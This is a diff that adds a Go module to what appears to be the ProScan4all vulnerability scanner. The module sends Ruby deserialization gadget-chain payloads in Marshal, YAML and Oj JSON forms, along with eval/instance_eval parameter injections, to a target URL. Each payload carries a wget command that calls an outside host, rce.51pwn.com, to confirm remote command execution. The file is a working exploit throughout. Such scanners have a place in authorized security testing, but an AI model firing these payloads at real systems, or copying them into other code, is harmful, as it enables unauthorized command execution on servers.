|
| 1 | +package ruby |
| 2 | + |
| 3 | +import ( |
| 4 | + "encoding/hex" |
| 5 | + "fmt" |
| 6 | + "github.com/hktalent/ProScan4all/lib/util" |
| 7 | + "io" |
| 8 | + "log" |
| 9 | + "net/url" |
| 10 | + "strings" |
| 11 | + "sync" |
| 12 | +) |
| 13 | + |
| 14 | +/* |
| 15 | +https://bishopfox.com/blog |
| 16 | +*/ |
| 17 | +func DoCheck(u string) bool { |
| 18 | + bRst := false |
| 19 | + if oH, err := url.Parse(u); nil == err { |
| 20 | + szU := fmt.Sprintf("%s://%s/", oH.Scheme, oH.Host) |
| 21 | + szId := hex.EncodeToString([]byte(szU)) |
| 22 | + aCmd := []string{"wget https://rce.51pwn.com/rceCheck?c=" + szId + "&vulId=%d_"} |
| 23 | + var wg sync.WaitGroup |
| 24 | + for n, c := range aCmd { |
| 25 | + c = fmt.Sprintf(c, n) |
| 26 | + //szC := url.QueryEscape(c) |
| 27 | + aPay := []string{ |
| 28 | + "?url=|" + url.QueryEscape(c+"1"), |
| 29 | + "?send_method_name=eval&send_argument=`" + url.QueryEscape(c+"2") + "`", |
| 30 | + "?send_value[]=eval&send_value[]=`" + url.QueryEscape(c+"3") + "`", |
| 31 | + "?public_send_method_name=instance_eval&public_send_argument=`" + url.QueryEscape(c+"4") + "`", |
| 32 | + "?public_send_value[]=instance_eval&public_send_value[]=`" + url.QueryEscape(c+"5") + "`", |
| 33 | + "?base64binary=" + url.QueryEscape(util.Base64Encode(`..{.:.payload[.c.Gem::SpecFetcherc.Gem::InstallerU:.Gem::Requirement[.o:.Gem::Package::TarReader.:.@ioo:.Net::BufferedIO.;.o:#Gem::Package::TarReader::Entry.: |
| 34 | +@readi.:.@headerI".aaa.:.ET:.@debug_outputo:.Net::WriteAdapter.:.@socketo:.Gem::RequestSet.: |
| 35 | +@setso;..;.m.Kernel:.@method_id:.system: |
| 36 | +@git_setI".`+c+`6.; |
| 37 | +T;.:.resolve`)), |
| 38 | + "?base64binary=" + url.QueryEscape(util.Base64Encode(`..U:,ActiveRecord::Associations::Association[.o:.Gem::Installer.o:.Gem::Package::TarReader.:.@ioo:.Net::BufferedIO.;.o:#Gem::Package::TarReader::Entry.: |
| 39 | +@readi.:.@headerI" bbbb.:.ET:.@debug_outputo:.Logger.:.@logdevo:.Rack::Response.:.@bufferedF: |
| 40 | +@bodyo:.Set.: |
| 41 | +@hash}.o:.Gem::Security::Policy.: |
| 42 | +@name{ : |
| 43 | +filenameI"./tmp/xyz.txt.; |
| 44 | +T:.environmento:&Rails::Initializable::Initializer.: |
| 45 | +@contexto:.Sprockets::Context.: dataI"A<%= system('`+c+`7') %>.; |
| 46 | +T: |
| 47 | +metadata{.TF:.@writero:.Sprockets::ERBProcessor.`)), |
| 48 | + } |
| 49 | + for _, x1 := range aPay { |
| 50 | + wg.Add(1) |
| 51 | + go func(s string) { |
| 52 | + defer wg.Done() |
| 53 | + if resp, err := util.DoGet(s, map[string]string{}); nil == err && nil != resp { |
| 54 | + |
| 55 | + } |
| 56 | + }(szU + x1) |
| 57 | + } |
| 58 | + |
| 59 | + var aPost = []string{`:payload: |
| 60 | +- !ruby/class 'Gem::SpecFetcher' |
| 61 | +- !ruby/class 'Gem::Installer' |
| 62 | +- !ruby/object:Gem::Requirement |
| 63 | + requirements: !ruby/object:Gem::Package::TarReader |
| 64 | + io: !ruby/object:Net::BufferedIO |
| 65 | + io: !ruby/object:Gem::Package::TarReader::Entry |
| 66 | + read: 0 |
| 67 | + header: aaa |
| 68 | + debug_output: !ruby/object:Net::WriteAdapter |
| 69 | + socket: !ruby/object:Gem::RequestSet |
| 70 | + sets: !ruby/object:Net::WriteAdapter |
| 71 | + socket: !ruby/module 'Kernel' |
| 72 | + method_id: :system |
| 73 | + git_set: ` + c + `8 |
| 74 | + method_id: :resolve`, |
| 75 | + `--- |
| 76 | +:payload: |
| 77 | +- !ruby/object:Gem::SpecFetcher {} |
| 78 | +- !ruby/object:Gem::Installer {} |
| 79 | +- ? !ruby/object:Gem::Requirement |
| 80 | + requirements: !ruby/object:Gem::Package::TarReader |
| 81 | + io: !ruby/object:Net::BufferedIO |
| 82 | + io: !ruby/object:Gem::Package::TarReader::Entry |
| 83 | + read: 2 |
| 84 | + header: bbbb |
| 85 | + debug_output: !ruby/object:Logger |
| 86 | + logdev: !ruby/object:Rack::Response |
| 87 | + buffered: false |
| 88 | + body: !ruby/object:Set |
| 89 | + hash: |
| 90 | + ? !ruby/object:Gem::Security::Policy |
| 91 | + name: |
| 92 | + :filename: "/tmp/xyz.txt" |
| 93 | + :environment: !ruby/object:Rails::Initializable::Initializer |
| 94 | + context: !ruby/object:Sprockets::Context {} |
| 95 | + :data: "<%= os_command = '` + c + `9'; system(os_command); %>" |
| 96 | + :metadata: {} |
| 97 | + : true |
| 98 | + writer: !ruby/object:Sprockets::ERBProcessor {} |
| 99 | + : dummy_value`, |
| 100 | + } |
| 101 | + // Content-Type: application/json |
| 102 | + var m1 = map[string]interface{}{} |
| 103 | + for i, w := range aPost { |
| 104 | + m1["yaml"] = w |
| 105 | + if data, err := util.Json.Marshal(&m1); nil == err { |
| 106 | + aPost[i] = string(data) |
| 107 | + } |
| 108 | + } |
| 109 | + aPost = append(aPost, `[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":system"},"git_set":"`+c+`10"},"method_id":":resolve"}}}}]`) |
| 110 | + |
| 111 | + // oj |
| 112 | + aPost = []string{`{ |
| 113 | + "^#1": [ |
| 114 | + [ |
| 115 | + { |
| 116 | + "^c": "Gem::SpecFetcher" |
| 117 | + }, |
| 118 | + { |
| 119 | + "^c": "Gem::Installer" |
| 120 | + }, |
| 121 | + { |
| 122 | + "^o": "Gem::Requirement", |
| 123 | + "requirements": { |
| 124 | + "^o": "Gem::Package::TarReader", |
| 125 | + "io": { |
| 126 | + "^o": "Net::BufferedIO", |
| 127 | + "io": { |
| 128 | + "^o": "Gem::Package::TarReader::Entry", |
| 129 | + "read": 0, |
| 130 | + "header": "aaa" |
| 131 | + }, |
| 132 | + "debug_output": { |
| 133 | + "^o": "Net::WriteAdapter", |
| 134 | + "socket": { |
| 135 | + "^o": "Gem::RequestSet", |
| 136 | + "sets": { |
| 137 | + "^o": "Net::WriteAdapter", |
| 138 | + "socket": { |
| 139 | + "^c": "Kernel" |
| 140 | + }, |
| 141 | + "method_id": ":system" |
| 142 | + }, |
| 143 | + "git_set": "` + c + `11" |
| 144 | + }, |
| 145 | + "method_id": ":resolve" |
| 146 | + } |
| 147 | + } |
| 148 | + } |
| 149 | + } |
| 150 | + ], |
| 151 | + "dummy_value" |
| 152 | + ] |
| 153 | +}`, `{ |
| 154 | + "^#1": [ |
| 155 | + [ |
| 156 | + { |
| 157 | + "^c": "Gem::SpecFetcher" |
| 158 | + }, |
| 159 | + { |
| 160 | + "^o": "Gem::Installer" |
| 161 | + }, |
| 162 | + { |
| 163 | + "^o": "Gem::Requirement", |
| 164 | + "requirements": { |
| 165 | + "^o": "Gem::Package::TarReader", |
| 166 | + "io": { |
| 167 | + "^o": "Net::BufferedIO", |
| 168 | + "io": { |
| 169 | + "^o": "Gem::Package::TarReader::Entry", |
| 170 | + "read": 2, |
| 171 | + "header": "bbbb" |
| 172 | + }, |
| 173 | + "debug_output": { |
| 174 | + "^o": "Logger", |
| 175 | + "logdev": { |
| 176 | + "^o": "Rack::Response", |
| 177 | + "buffered": false, |
| 178 | + "body": { |
| 179 | + "^o": "Set", |
| 180 | + "hash": { |
| 181 | + "^#2": [ |
| 182 | + { |
| 183 | + "^o": "Gem::Security::Policy", |
| 184 | + "name": { |
| 185 | + ":filename": "/tmp/xyz.txt", |
| 186 | + ":environment": { |
| 187 | + "^o": "Rails::Initializable::Initializer", |
| 188 | + "context": { |
| 189 | + "^o": "Sprockets::Context" |
| 190 | + } |
| 191 | + }, |
| 192 | + ":data": "<%= system('` + c + `12') %>", |
| 193 | + ":metadata": {} |
| 194 | + } |
| 195 | + }, |
| 196 | + true |
| 197 | + ] |
| 198 | + } |
| 199 | + }, |
| 200 | + "writer": { |
| 201 | + "^o": "Sprockets::ERBProcessor" |
| 202 | + } |
| 203 | + } |
| 204 | + } |
| 205 | + } |
| 206 | + } |
| 207 | + } |
| 208 | + ], |
| 209 | + "dummy_value" |
| 210 | + ] |
| 211 | +}`} |
| 212 | + delete(m1, "yaml") |
| 213 | + for _, w := range aPost { |
| 214 | + // dummy_value 是尝试注入的输入字段 |
| 215 | + m1["oj"] = w |
| 216 | + if data, err := util.Json.Marshal(&m1); nil == err { |
| 217 | + aPost = append(aPost, string(data)) |
| 218 | + } |
| 219 | + } |
| 220 | + for _, x := range aPost { |
| 221 | + wg.Add(1) |
| 222 | + go func(s string) { |
| 223 | + defer wg.Done() |
| 224 | + if resp, err := util.DoPost(szU, map[string]string{"Content-Type": "application/json"}, strings.NewReader(s)); nil == err && nil != resp { |
| 225 | + } |
| 226 | + }(x) |
| 227 | + } |
| 228 | + } |
| 229 | + // 检测、确认结果 |
| 230 | + wg.Wait() |
| 231 | + if resp, err := util.DoGet("https://rce.51pwn.com/rceCheck?q="+szId, map[string]string{}); nil == err && nil != resp { |
| 232 | + var a = []map[string]string{} |
| 233 | + if data, err := io.ReadAll(resp.Body); nil == err { |
| 234 | + if nil == util.Json.Unmarshal(data, &a) { |
| 235 | + if 0 < len(a) { |
| 236 | + log.Printf("fond vuls ruby %v\n", a) |
| 237 | + bRst = true |
| 238 | + } |
| 239 | + } |
| 240 | + } |
| 241 | + } |
| 242 | + } else { |
| 243 | + log.Println(u, err) |
| 244 | + } |
| 245 | + return bRst |
| 246 | +} |
0 commit comments